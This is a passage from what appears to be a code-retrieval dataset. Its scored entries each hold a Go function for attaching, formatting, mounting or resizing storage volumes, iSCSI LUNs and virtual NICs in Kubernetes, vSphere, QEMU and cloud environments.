mpathSize, err\n\t\t\t}\n\t\t}\n\n\t\tLogc(ctx).WithFields(LogFields{\"volume\": name, \"fstype\": publishInfo.FilesystemType}).Debug(\"Formatting LUN.\")\n\t\terr := formatVolume(ctx, devicePath, publishInfo.FilesystemType)\n\t\tif err != nil {\n\t\t\treturn mpathSize, fmt.Errorf(\"error formatting LUN %s, device %s: %v\", name, deviceToUse, err)\n\t\t}\n\t} else if existingFstype != unknownFstype && existingFstype != publishInfo.FilesystemType {\n\t\tLogc(ctx).WithFields(LogFields{\n\t\t\t\"volume\": name,\n\t\t\t\"existingFstype\": existingFstype,\n\t\t\t\"requestedFstype\": publishInfo.FilesystemType,\n\t\t}).Error(\"LUN already formatted with a different file system type.\")\n\t\treturn mpathSize, fmt.Errorf(\"LUN %s, device %s already formatted with other filesystem: %s\",\n\t\t\tname, deviceToUse, existingFstype)\n\t} else {\n\t\tLogc(ctx).WithFields(LogFields{\n\t\t\t\"volume\": name,\n\t\t\t\"fstype\": deviceInfo.Filesystem,\n\t\t}).Debug(\"LUN already formatted.\")\n\t}\n\n\t// Attempt to resolve any filesystem inconsistencies that might be due to dirty node shutdowns, cloning\n\t// in-use volumes, or creating volumes from snapshots taken from in-use volumes. This is only safe to do\n\t// if a device is not mounted. The fsck command returns a non-zero exit code if filesystem errors are found,\n\t// even if they are completely and automatically fixed, so we don't return any error here.\n\tmounted, err := IsMounted(ctx, devicePath, \"\", \"\")\n\tif err != nil {\n\t\treturn mpathSize, err\n\t}\n\tif !mounted {\n\t\terr = repairVolume(ctx, devicePath, publishInfo.FilesystemType)\n\t\tif err != nil {\n\t\t\tif exitErr, ok := err.(*exec.ExitError); ok {\n\t\t\t\tlogFields := LogFields{\n\t\t\t\t\t\"volume\": name,\n\t\t\t\t\t\"fstype\": deviceInfo.Filesystem,\n\t\t\t\t\t\"device\": devicePath,\n\t\t\t\t}\n\n\t\t\t\tif exitErr.ExitCode() == 1 {\n\t\t\t\t\tLogc(ctx).WithFields(logFields).Info(\"Fixed filesystem errors\")\n\t\t\t\t} else {\n\t\t\t\t\tlogFields[\"exitCode\"] = exitErr.ExitCode()\n\t\t\t\t\tLogc(ctx).WithError(err).WithFields(logFields).Error(\"Failed to repair filesystem errors.\")\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// Optionally mount the device\n\tif mountpoint != \"\" {\n\t\tif err := MountDevice(ctx, devicePath, mountpoint, publishInfo.MountOptions, false); err != nil {\n\t\t\treturn mpathSize, fmt.Errorf(\"error mounting LUN %v, device %v, mountpoint %v; %s\",\n\t\t\t\tname, deviceToUse, mountpoint, err)\n\t\t}\n\t}\n\n\treturn mpathSize, nil\n}", "title": "" }, { "docid": "2530e8a9f2af9aab1a28df3b2524f401", "score": "0.5276534", "text": "func (u *ISCSIUtil) ExtendDisk(p *storage.ConnProperty) (string, error) {\n\tio := &osIOHandler{}\n\tmpathUtil := &multiPathUtil{\n\t\tresizeDelay: u.hostCfg.MultiPathResizeDelay,\n\t}\n\n\tdevPaths := []string{}\n\tfor idx, portal := range p.Portals {\n\t\ttarget := p.Targets[idx]\n\t\tlun := p.LunIDs[idx]\n\n\t\tif devPath, err := u.FindDiskByPath(portal, target, lun, 1); err == nil {\n\t\t\tdevPaths = append(devPaths, devPath)\n\t\t}\n\t}\n\n\t//rescan each disk\n\tfor _, disk := range devPaths {\n\t\tif err := RescanBlockDevice(disk, io); err != nil {\n\t\t\tglog.Errorf(\"rescan device %s failed for %s\", disk, err)\n\t\t}\n\t}\n\n\t//find the multipath device\n\tdm, err := mpathUtil.FindMultiPathDev(devPaths, 1, 0)\n\tif err == nil {\n\t\t//resize the multipath device\n\t\treturn dm, mpathUtil.ResizeMultiPathDev(dm)\n\t}\n\n\tif u.hostCfg.ForceUseMultiPath {\n\t\treturn \"\", fmt.Errorf(\"no multipath device found\")\n\t}\n\n\tglog.Warningf(\"can not find the multipath device, use a path instead.\")\n\treturn devPaths[0], nil\n}", "title": "" }, { "docid": "c919003b4025ceb9b32522f31f3ad5ed", "score": "0.52731025", "text": "func (s *System) AttachFileSystem() {}", "title": "" }, { "docid": "729d511cfcf452e005c4967b47aa7f86", "score": "0.524186", "text": "func WithInterface(iface kvirtv1.Interface) Option {\n\treturn func(vmi *kvirtv1.VirtualMachineInstance) {\n\t\tvmi.Spec.Domain.Devices.Interfaces = append(\n\t\t\tvmi.Spec.Domain.Devices.Interfaces, iface,\n\t\t)\n\t}\n}", "title": "" }, { "docid": "2fe2a32c43abe5e74dc5b23dac7a031b", "score": "0.52223665", "text": "func UseFileInterface() {\n\tC.al_set_physfs_file_interface()\n}", "title": "" }, { "docid": "1e6d91a3b880176b0b352ecd80ca2589", "score": "0.5195123", "text": "func (p *Local) Attach(ctx driver.Context, v *types.Volume) error {\n\tctx.Log.Debugf(\"Local attach volume: %s\", v.Name)\n\tmountPath := v.Path()\n\tsize := v.Size()\n\n\tif st, exist := os.Stat(mountPath); exist != nil {\n\t\tif e := os.MkdirAll(mountPath, 0777); e != nil {\n\t\t\treturn e\n\t\t}\n\t} else if !st.IsDir() {\n\t\treturn fmt.Errorf(\"mount path is not a dir %s\", mountPath)\n\t}\n\n\tif size != \"\" && size != \"0\" {\n\t\tquota.StartQuotaDriver(mountPath)\n\t\tif ex := quota.SetDiskQuota(mountPath, size, 0); ex != nil {\n\t\t\treturn ex\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "2461a94a632bd40cfed0052f3ecd7142", "score": "0.51846915", "text": "func (mo *HostStorageSystem) AttachScsiLun(\n\tlunUuid string,\n) error {\n\n\trequest := struct {\n\t\tXMLName xml.Name `xml:\"AttachScsiLun\"`\n\t\tThis *ManagedObjectReference `xml:\"_this,omitempty\"`\n\t\tLunUuid string `xml:\"lunUuid,omitempty\"`\n\t}{\n\t\tThis: &ManagedObjectReference{Type: mo.ManagedObject.Type, Value: mo.ManagedObject.Value},\n\t\tLunUuid: lunUuid,\n\t}\n\n\tif session == nil {\n\t\tpanic(\"You need to create a vSphereSession first\")\n\t}\n\n\terr := session.invoke(request, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n\n}", "title": "" }, { "docid": "a20b57ed76085cb3ca6f9176993bdaf8", "score": "0.5111269", "text": "func (*AttachInterfaceRequest) Descriptor() ([]byte, []int) {\n\treturn file_agent_proto_rawDescGZIP(), []int{12}\n}", "title": "" }, { "docid": "17d4d45a77615fc96022442d37efa25f", "score": "0.5080226", "text": "func (vc *VMController) AttachNIC(tpl string) error {\n\t_, err := vc.c.Client.Call(\"one.vm.attachnic\", vc.ID, tpl)\n\treturn err\n}", "title": "" }, { "docid": "78f6e228c2aab9459ee1de4e288057b5", "score": "0.5078037", "text": "func (*DiskInfo_Disk) Descriptor() ([]byte, []int) {\n\treturn file_proto_v1_squzy_agent_server_proto_rawDescGZIP(), []int{5, 0}\n}", "title": "" }, { "docid": "2953ad949f8a42c5b8eb9fe18d57943c", "score": "0.50619394", "text": "func (attacher *photonPersistentDiskAttacher) Attach(spec *volume.Spec, nodeName types.NodeName) (string, error) {\n\thostName := string(nodeName)\n\tvolumeSource, _, err := getVolumeSource(spec)\n\tif err != nil {\n\t\tglog.Errorf(\"Photon Controller attacher: Attach failed to get volume source\")\n\t\treturn \"\", err\n\t}\n\n\tglog.V(4).Infof(\"Photon Controller: Attach disk called for host %s\", hostName)\n\n\t// TODO: if disk is already attached?\n\terr = attacher.photonDisks.AttachDisk(volumeSource.PdID, nodeName)\n\tif err != nil {\n\t\tglog.Errorf(\"Error attaching volume %q to node %q: %+v\", volumeSource.PdID, nodeName, err)\n\t\treturn \"\", err\n\t}\n\n\tPdidWithNoHypens := strings.Replace(volumeSource.PdID, \"-\", \"\", -1)\n\treturn path.Join(diskByIDPath, diskPhotonPrefix+PdidWithNoHypens), nil\n}", "title": "" }, { "docid": "a267dd054f262ba99b99eba7269dd492", "score": "0.50610137", "text": "func (net *NetworkInterface) Device(ctx *context.Context, dc *Datacenter, nodeIndex int) (types.BaseVirtualDevice, error) {\n\tvar backing types.BaseVirtualDeviceBackingInfo\n\n\tnetwork, err := net.Reference(ctx, dc)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tnetworkReference := network.Reference()\n\tbacking, err = network.EthernetCardBackingInfo(ctx)\n\n\tif err != nil {\n\t\tstrErr := err.Error()\n\n\t\tif strings.Contains(strErr, \"no System.Read privilege on:\") {\n\t\t\tif false {\n\t\t\t\tbacking = &types.VirtualEthernetCardOpaqueNetworkBackingInfo{\n\t\t\t\t\tOpaqueNetworkType: networkReference.Type,\n\t\t\t\t\tOpaqueNetworkId: networkReference.Value,\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tbacking = &types.VirtualEthernetCardNetworkBackingInfo{\n\t\t\t\t\tNetwork: &networkReference,\n\t\t\t\t\tVirtualDeviceDeviceBackingInfo: types.VirtualDeviceDeviceBackingInfo{\n\t\t\t\t\t\tDeviceName: net.NetworkName,\n\t\t\t\t\t},\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tdevice, err := object.EthernetCardTypes().CreateEthernetCard(net.Adapter, backing)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Connect the device\n\tdevice.GetVirtualDevice().Connectable = &types.VirtualDeviceConnectInfo{\n\t\tStartConnected: true,\n\t\tAllowGuestControl: true,\n\t\tConnected: true,\n\t}\n\n\tmacAddress := net.GetMacAddress(nodeIndex)\n\n\tif len(macAddress) != 0 {\n\t\tcard := device.(types.BaseVirtualEthernetCard).GetVirtualEthernetCard()\n\t\tcard.AddressType = string(types.VirtualEthernetCardMacTypeManual)\n\t\tcard.MacAddress = macAddress\n\t}\n\n\treturn device, nil\n}", "title": "" }, { "docid": "2fd82a6964b13032b4813e3e8cb13462", "score": "0.50426155", "text": "func (util *rbdUtil) AttachDisk(b rbdMounter) (string, error) {\n\tvar output []byte\n\n\tglobalPDPath := util.MakeGlobalPDName(*b.rbd)\n\tif pathExists, pathErr := mount.PathExists(globalPDPath); pathErr != nil {\n\t\treturn \"\", fmt.Errorf(\"error checking if path exists: %v\", pathErr)\n\t} else if !pathExists {\n\t\tif err := os.MkdirAll(globalPDPath, 0750); err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t}\n\n\t// Evaluate whether this device was mapped with rbd.\n\tdevicePath, mapped := waitForPath(b.Pool, b.Image, 1 /*maxRetries*/, false /*useNbdDriver*/)\n\n\t// If rbd-nbd tools are found, we will fallback to it should the default krbd driver fail.\n\tnbdToolsFound := false\n\n\tif !mapped {\n\t\tnbdToolsFound = checkRbdNbdTools(b.exec)\n\t\tif nbdToolsFound {\n\t\t\tdevicePath, mapped = waitForPath(b.Pool, b.Image, 1 /*maxRetries*/, true /*useNbdDriver*/)\n\t\t}\n\t}\n\n\tif !mapped {\n\t\t// Currently, we don't acquire advisory lock on image, but for backward\n\t\t// compatibility, we need to check if the image is being used by nodes running old kubelet.\n\t\t// osd_client_watch_timeout defaults to 30 seconds, if the watcher stays active longer than 30 seconds,\n\t\t// rbd image does not get mounted and failure message gets generated.\n\t\tbackoff := wait.Backoff{\n\t\t\tDuration: rbdImageWatcherInitDelay,\n\t\t\tFactor: rbdImageWatcherFactor,\n\t\t\tSteps: rbdImageWatcherSteps,\n\t\t}\n\t\tneedValidUsed := true\n\t\tif b.accessModes != nil {\n\t\t\t// If accessModes only contains ReadOnlyMany, we don't need check rbd status of being used.\n\t\t\tif len(b.accessModes) == 1 && b.accessModes[0] == v1.ReadOnlyMany {\n\t\t\t\tneedValidUsed = false\n\t\t\t}\n\t\t}\n\t\t// If accessModes is nil, the volume is referenced by in-line volume.\n\t\t// We can assume the AccessModes to be {\"RWO\" and \"ROX\"}, which is what the volume plugin supports.\n\t\t// We do not need to consider ReadOnly here, because it is used for VolumeMounts.\n\n\t\tif needValidUsed {\n\t\t\terr := wait.ExponentialBackoff(backoff, func() (bool, error) {\n\t\t\t\tused, rbdOutput, err := util.rbdStatus(&b)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn false, fmt.Errorf(\"fail to check rbd image status with: (%v), rbd output: (%s)\", err, rbdOutput)\n\t\t\t\t}\n\t\t\t\treturn !used, nil\n\t\t\t})\n\t\t\t// Return error if rbd image has not become available for the specified timeout.\n\t\t\tif err == wait.ErrWaitTimeout {\n\t\t\t\treturn \"\", fmt.Errorf(\"rbd image %s/%s is still being used\", b.Pool, b.Image)\n\t\t\t}\n\t\t\t// Return error if any other errors were encountered during waiting for the image to become available.\n\t\t\tif err != nil {\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t}\n\n\t\tmon := util.kernelRBDMonitorsOpt(b.Mon)\n\t\tklog.V(1).Infof(\"rbd: map mon %s\", mon)\n\n\t\t_, err := b.exec.Command(\"modprobe\", \"rbd\").CombinedOutput()\n\t\tif err != nil {\n\t\t\tklog.Warningf(\"rbd: failed to load rbd kernel module:%v\", err)\n\t\t}\n\t\toutput, err = execRbdMap(b, \"rbd\", mon)\n\t\tif err != nil {\n\t\t\tif !nbdToolsFound {\n\t\t\t\tklog.V(1).Infof(\"rbd: map error %v, rbd output: %s\", err, string(output))\n\t\t\t\treturn \"\", fmt.Errorf(\"rbd: map failed %v, rbd output: %s\", err, string(output))\n\t\t\t}\n\t\t\tklog.V(3).Infof(\"rbd: map failed with %v, %s. Retrying with rbd-nbd\", err, string(output))\n\t\t\terrList := []error{err}\n\t\t\toutputList := output\n\t\t\toutput, err = execRbdMap(b, \"rbd-nbd\", mon)\n\t\t\tif err != nil {\n\t\t\t\terrList = append(errList, err)\n\t\t\t\toutputList = append(outputList, output...)\n\t\t\t\treturn \"\", fmt.Errorf(\"rbd: map failed %v, rbd output: %s\", errors.NewAggregate(errList), string(outputList))\n\t\t\t}\n\t\t\tdevicePath, mapped = waitForPath(b.Pool, b.Image, 10 /*maxRetries*/, true /*useNbdDrive*/)\n\t\t} else {\n\t\t\tdevicePath, mapped = waitForPath(b.Pool, b.Image, 10 /*maxRetries*/, false /*useNbdDriver*/)\n\t\t}\n\t\tif !mapped {\n\t\t\treturn \"\", fmt.Errorf(\"could not map image %s/%s, Timeout after 10s\", b.Pool, b.Image)\n\t\t}\n\t}\n\treturn devicePath, nil\n}", "title": "" }, { "docid": "51584e2d8127c62d30ff0c22d890b3cf", "score": "0.5028438", "text": "func (ns *nodeServer) attachDisk(volumeID string, isSharedDisk bool) (string, error) {\n\tlog.Infof(\"NodeStageVolume: Start to attachDisk: %s, region: %v\", volumeID, ns.region)\n\n\t// Step 1: check disk status\n\tns.ecsClient = updateEcsClent(ns.ecsClient)\n\tdisk, err := ns.findDiskByID(volumeID)\n\tif err != nil {\n\t\treturn \"\", status.Errorf(codes.Internal, \"NodeStageVolume: Unexpected count %s for volume id %s\", volumeID, err)\n\t}\n\n\tif isSharedDisk {\n\t\tattachedToLocal := false\n\t\tfor _, instance := range disk.MountInstances.MountInstance {\n\t\t\tif instance.InstanceId == ns.nodeId {\n\t\t\t\tattachedToLocal = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif attachedToLocal {\n\t\t\tdetachRequest := ecs.CreateDetachDiskRequest()\n\t\t\tdetachRequest.InstanceId = ns.nodeId\n\t\t\tdetachRequest.DiskId = volumeID\n\t\t\t_, err = ns.ecsClient.DetachDisk(detachRequest)\n\t\t\tif err != nil {\n\t\t\t\treturn \"\", status.Errorf(codes.Aborted, \"NodeStageVolume: Can't attach disk %s to instance %s: %v\", volumeID, disk.InstanceId, err)\n\t\t\t}\n\n\t\t\tif err := ns.waitForSharedDiskInStatus(10, time.Second*3, volumeID, DISK_STATUS_DETACHED); err != nil {\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t}\n\t} else {\n\t\t// detach disk first if attached\n\t\tif disk.Status == DISK_STATUS_INUSE || disk.Status == DISK_STATUS_ATTACHING {\n\t\t\tlog.Infof(\"NodeStageVolume: disk %s is already attached to instance %s, will be detached\", volumeID, disk.InstanceId)\n\t\t\tdetachRequest := ecs.CreateDetachDiskRequest()\n\t\t\tdetachRequest.InstanceId = disk.InstanceId\n\t\t\tdetachRequest.DiskId = disk.DiskId\n\t\t\t_, err = ns.ecsClient.DetachDisk(detachRequest)\n\t\t\tif err != nil {\n\t\t\t\treturn \"\", status.Errorf(codes.Aborted, \"NodeStageVolume: Can't attach disk %s to instance %s: %v\", volumeID, disk.InstanceId, err)\n\t\t\t}\n\t\t}\n\t\t// Step 2: wait for Detach\n\t\tif disk.Status != DISK_STATUS_AVAILABLE {\n\t\t\tlog.Infof(\"NodeStageVolume: wait for disk %s is detached\", volumeID)\n\t\t\tif err := ns.waitForDiskInStatus(10, time.Second*3, volumeID, DISK_STATUS_AVAILABLE); err != nil {\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t}\n\t}\n\n\t// Step 3: Attach Disk, list device before attach disk\n\tbefore := getDevices()\n\tattachRequest := ecs.CreateAttachDiskRequest()\n\tattachRequest.InstanceId = ns.nodeId\n\tattachRequest.DiskId = volumeID\n\tif _, err = ns.ecsClient.AttachDisk(attachRequest); err != nil {\n\t\treturn \"\", status.Errorf(codes.Aborted, \"NodeStageVolume: Error happends to attach disk %s to instance %s, %v\", volumeID, ns.nodeId, err)\n\t}\n\n\t// Step 4: wait for disk attached\n\tlog.Infof(\"NodeStageVolume: wait for disk %s is attached\", volumeID)\n\tif isSharedDisk {\n\t\tif err := ns.waitForSharedDiskInStatus(10, time.Second*3, volumeID, DISK_STATUS_ATTACHED); err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t} else {\n\t\tif err := ns.waitForDiskInStatus(10, time.Second*3, volumeID, DISK_STATUS_INUSE); err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t}\n\n\t// step 5: diff device with previous files under /dev\n\tafter := getDevices()\n\tdevicePaths := calcNewDevices(before, after)\n\tif len(devicePaths) == 2 {\n\t\tif strings.HasPrefix(devicePaths[1], devicePaths[0]) {\n\t\t\treturn devicePaths[1], nil\n\t\t} else if strings.HasPrefix(devicePaths[0], devicePaths[1]) {\n\t\t\treturn devicePaths[0], nil\n\t\t}\n\t}\n\tif len(devicePaths) == 1 {\n\t\treturn devicePaths[0], nil\n\t}\n\n\t//device count is not expected, should retry (later by detaching and attaching again)\n\treturn \"\", status.Error(codes.Aborted, \"NodeStageVolume: after attaching to disk, but fail to get mounted device, will retry later\")\n}", "title": "" }, { "docid": "d5179b33f5fe09c04c3731bc43addf69", "score": "0.5026485", "text": "func (v *Vsphere) AttachVolume(ctx *Context, image, name, mount string) error {\n\treturn nil\n}", "title": "" }, { "docid": "fb70a7671a76d25b8269f284c286d145", "score": "0.50258535", "text": "func (n *InitializerImpl) SetIscsiInitiator(initiatorName string) error {\n\t// get the name of our initiator\n\t// update the file\n\tcontents := []byte(fmt.Sprintf(\"InitiatorName=%s\\n\", initiatorName))\n\terr := ioutil.WriteFile(initiatorNameFile, contents, 0644)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "2e0d56271f4c1a969421f721d1065f76", "score": "0.501126", "text": "func (p *Provider) AttachVolume(ctx *lepton.Context, image, name string, attachID int) (err error) {\n\treturn errors.New(\"Unsupported\")\n\n\t_, err = p.computeClient.AttachVolume(context.TODO(), core.AttachVolumeRequest{\n\t\tAttachVolumeDetails: core.AttachParavirtualizedVolumeDetails{},\n\t})\n\n\treturn\n}", "title": "" }, { "docid": "b56f82414e693a2b3456afdc17fb3dce", "score": "0.49764925", "text": "func (f *FakeVolumeManager) Attach(image, pool, id, key, clusterName string) (string, error) {\n\tif f.FakeAttach != nil {\n\t\treturn f.FakeAttach(image, pool, id, key, clusterName)\n\t}\n\treturn fmt.Sprintf(\"/%s/%s/%s\", image, pool, clusterName), nil\n}", "title": "" }, { "docid": "7fb4730223434e842f3bf7056e21d28e", "score": "0.4965373", "text": "func (m *MPU9250) SetInterruptDrive(drive bool) error {\n\treturn m.transport.writeMaskedReg(reg.MPU9250_INT_PIN_CFG, reg.MPU9250_OPEN_MASK, boolByte(drive, reg.MPU9250_OPEN_MASK))\n}", "title": "" }, { "docid": "ecf45c4c2a1c53c13f95adeebd807c3f", "score": "0.49391314", "text": "func (q *qemu) AddDevice(ctx context.Context, devInfo interface{}, devType DeviceType) error {\n\tvar err error\n\tspan, _ := katatrace.Trace(ctx, q.Logger(), \"AddDevice\", qemuTracingTags)\n\tkatatrace.AddTags(span, \"sandbox_id\", q.id, \"device\", devInfo)\n\tdefer span.End()\n\n\tswitch v := devInfo.(type) {\n\tcase types.Volume:\n\t\tif q.config.SharedFS == config.VirtioFS || q.config.SharedFS == config.VirtioFSNydus {\n\t\t\tq.Logger().WithField(\"volume-type\", \"virtio-fs\").Info(\"adding volume\")\n\n\t\t\tvar randBytes []byte\n\t\t\trandBytes, err = utils.GenerateRandomBytes(8)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tid := hex.EncodeToString(randBytes)\n\n\t\t\tvar sockPath string\n\t\t\tsockPath, err = q.vhostFSSocketPath(q.id)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tvhostDev := config.VhostUserDeviceAttrs{\n\t\t\t\tTag: v.MountTag,\n\t\t\t\tType: config.VhostUserFS,\n\t\t\t\tCacheSize: q.config.VirtioFSCacheSize,\n\t\t\t\tCache: q.config.VirtioFSCache,\n\t\t\t\tQueueSize: q.config.VirtioFSQueueSize,\n\t\t\t}\n\t\t\tvhostDev.SocketPath = sockPath\n\t\t\tvhostDev.DevID = id\n\n\t\t\tq.qemuConfig.Devices, err = q.arch.appendVhostUserDevice(ctx, q.qemuConfig.Devices, vhostDev)\n\t\t} else {\n\t\t\tq.Logger().WithField(\"volume-type\", \"virtio-9p\").Info(\"adding volume\")\n\t\t\tq.qemuConfig.Devices, err = q.arch.append9PVolume(ctx, q.qemuConfig.Devices, v)\n\t\t}\n\tcase types.Socket:\n\t\tq.qemuConfig.Devices = q.arch.appendSocket(q.qemuConfig.Devices, v)\n\tcase types.VSock:\n\t\tq.fds = append(q.fds, v.VhostFd)\n\t\tq.qemuConfig.Devices, err = q.arch.appendVSock(ctx, q.qemuConfig.Devices, v)\n\tcase Endpoint:\n\t\tq.qemuConfig.Devices, err = q.arch.appendNetwork(ctx, q.qemuConfig.Devices, v)\n\tcase config.BlockDrive:\n\t\tq.qemuConfig.Devices, err = q.arch.appendBlockDevice(ctx, q.qemuConfig.Devices, v)\n\tcase config.VhostUserDeviceAttrs:\n\t\tq.qemuConfig.Devices, err = q.arch.appendVhostUserDevice(ctx, q.qemuConfig.Devices, v)\n\tcase config.VFIODev:\n\t\tq.qemuConfig.Devices = q.arch.appendVFIODevice(q.qemuConfig.Devices, v)\n\tdefault:\n\t\tq.Logger().WithField(\"dev-type\", v).Warn(\"Could not append device: unsupported device type\")\n\t}\n\n\treturn err\n}", "title": "" }, { "docid": "021caf77cfb778b38fd854a048713148", "score": "0.49332675", "text": "func (*MountOption) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_netapp_v1_volume_proto_rawDescGZIP(), []int{15}\n}", "title": "" }, { "docid": "da1b8783e0b9b329d78fdd887f91a9c4", "score": "0.49308035", "text": "func (client *Client) AddDiskToSCSIController(controllerID string, scsiUnitID int, sizeGB int, speed string, iops int) (diskID string, err error) {\n\torganizationID, err := client.getOrganizationID()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\trequestURI := fmt.Sprintf(\"%s/server/addDisk\",\n\t\turl.QueryEscape(organizationID),\n\t)\n\n\tvar newDisk addDiskToSCSIController\n\n\tnewDisk.SizeGB = sizeGB\n\tnewDisk.Speed = speed\n\n\tvar scsiCtl scsiController\n\tscsiCtl.SCSIUnitID = scsiUnitID\n\tscsiCtl.ControllerID = controllerID\n\n\tnewDisk.SCSIController = scsiCtl\n\n\tif speed == \"PROVISIONEDIOPS\" {\n\t\tnewDisk.Iops = iops\n\t}\n\n\trequest, err := client.newRequestV210(requestURI, http.MethodPost, newDisk)\n\t//request, err := client.newRequestV210(requestURI, http.MethodPost, &addDiskToSCSIController{\n\t//\tSCSIController: scsiController{\n\t//\t\tControllerID: controllerID,\n\t//\t\tSCSIUnitID: scsiUnitID,\n\t//\t},\n\t//\tSizeGB: sizeGB,\n\t//\tSpeed: speed,\n\t//})\n\tresponseBody, statusCode, err := client.executeRequest(request)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tapiResponse, err := readAPIResponseAsJSON(responseBody, statusCode)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tif apiResponse.ResponseCode != ResponseCodeInProgress {\n\t\treturn \"\", apiResponse.ToError(\"Request to add disk with SCSI Unit ID %d to controller '%s' failed with status code %d (%s): %s\", scsiUnitID, controllerID, statusCode, apiResponse.ResponseCode, apiResponse.Message)\n\t}\n\n\t// Expected: \"info\" { \"name\": \"diskId\", \"value\": \"the-Id-of-the-new-disk\" }\n\tif len(apiResponse.FieldMessages) < 1 || apiResponse.FieldMessages[0].FieldName != \"diskId\" {\n\t\treturn \"\", apiResponse.ToError(\"Received an unexpected response (missing 'diskId') with status code %d (%s): %s\", statusCode, apiResponse.ResponseCode, apiResponse.Message)\n\t}\n\n\treturn apiResponse.FieldMessages[0].Message, nil\n}", "title": "" }, { "docid": "ff213eccac5639f3c646e8d6d4d46e18", "score": "0.49039677", "text": "func (mo *IscsiManager) BindVnic(\n\tiScsiHbaName string, vnicDevice string,\n) error {\n\n\trequest := struct {\n\t\tXMLName xml.Name `xml:\"BindVnic\"`\n\t\tThis *ManagedObjectReference `xml:\"_this,omitempty\"`\n\t\tIScsiHbaName string `xml:\"iScsiHbaName,omitempty\"`\n\t\tVnicDevice string `xml:\"vnicDevice,omitempty\"`\n\t}{\n\t\tThis: &ManagedObjectReference{Type: mo.ManagedObject.Type, Value: mo.ManagedObject.Value},\n\t\tIScsiHbaName: iScsiHbaName,\n\t\tVnicDevice: vnicDevice,\n\t}\n\n\tif session == nil {\n\t\tpanic(\"You need to create a vSphereSession first\")\n\t}\n\n\terr := session.invoke(request, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n\n}", "title": "" }, { "docid": "a82fe55111aeeff21f3f39bf5ed9dff0", "score": "0.48955953", "text": "func ExampleDisksClient_BeginAttach() {\n\tcred, err := azidentity.NewDefaultAzureCredential(nil)\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to obtain a credential: %v\", err)\n\t}\n\tctx := context.Background()\n\tclientFactory, err := armdevtestlabs.NewClientFactory(\"<subscription-id>\", cred, nil)\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to create client: %v\", err)\n\t}\n\tpoller, err := clientFactory.NewDisksClient().BeginAttach(ctx, \"resourceGroupName\", \"{labName}\", \"{userId}\", \"{diskName}\", armdevtestlabs.AttachDiskProperties{\n\t\tLeasedByLabVMID: to.Ptr(\"/subscriptions/{subscriptionId}/resourcegroups/resourceGroupName/providers/microsoft.devtestlab/labs/{labName}/virtualmachines/{vmName}\"),\n\t}, nil)\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to finish the request: %v\", err)\n\t}\n\t_, err = poller.PollUntilDone(ctx, nil)\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to pull the result: %v\", err)\n\t}\n}", "title": "" }, { "docid": "39eb89b126726213b79812237389f705", "score": "0.4893587", "text": "func (vc *VMController) Disk(id int) *VMDiskController {\n\treturn &VMDiskController{vc.c, vc.ID, id}\n}", "title": "" }, { "docid": "e09ac1c6e04425a7e8ac42fc2da6d0c1", "score": "0.4890419", "text": "func (r Network_Storage_Group_Iscsi) GetAttachedVolumes() (resp []datatypes.Network_Storage, err error) {\n\terr = r.Session.DoRequest(\"SoftLayer_Network_Storage_Group_Iscsi\", \"getAttachedVolumes\", nil, &r.Options, &resp)\n\treturn\n}", "title": "" }, { "docid": "6a610dd04e60fa4e5895b86e3f263dd1", "score": "0.48823452", "text": "func (d OCIFlexvolumeDriver) Attach(logger *zap.SugaredLogger, opts flexvolume.Options, nodeName string) flexvolume.DriverStatus {\n\tstartTime := time.Now()\n\tvar errorType string\n\tvar fvdMetricDimension string\n\tlogger = logger.With(\"nodeName\", nodeName)\n\tcfg, err := config.FromFile(GetConfigPath())\n\tif err != nil {\n\t\treturn flexvolume.Fail(logger, err)\n\t}\n\n\tvolumeOCID := deriveVolumeOCID(cfg.RegionKey, opts[\"kubernetes.io/pvOrVolumeName\"])\n\n\tc, err := client.GetClient(logger, cfg)\n\tif err != nil {\n\t\treturn flexvolume.Fail(logger, err)\n\t}\n\n\tdimensionsMap := make(map[string]string)\n\tdimensionsMap[metrics.ResourceOCIDDimension] = volumeOCID\n\n\tid, err := lookupNodeID(d.K, nodeName)\n\tif err != nil {\n\t\terrorType = util.GetError(err)\n\t\tfvdMetricDimension = util.GetMetricDimensionForComponent(errorType, util.FVDStorageType)\n\t\tdimensionsMap[metrics.ComponentDimension] = fvdMetricDimension\n\t\tmetrics.SendMetricData(d.metricPusher, metrics.PVAttach, time.Since(startTime).Seconds(), dimensionsMap)\n\t\treturn flexvolume.Fail(logger, \"Failed to look up node id: \", err)\n\t}\n\n\t// Handle possible oci:// prefix.\n\tid, err = ociprovider.MapProviderIDToInstanceID(id)\n\tif err != nil {\n\t\terrorType = util.GetError(err)\n\t\tfvdMetricDimension = util.GetMetricDimensionForComponent(errorType, util.FVDStorageType)\n\t\tdimensionsMap[metrics.ComponentDimension] = fvdMetricDimension\n\t\tmetrics.SendMetricData(d.metricPusher, metrics.PVAttach, time.Since(startTime).Seconds(), dimensionsMap)\n\t\treturn flexvolume.Fail(logger, 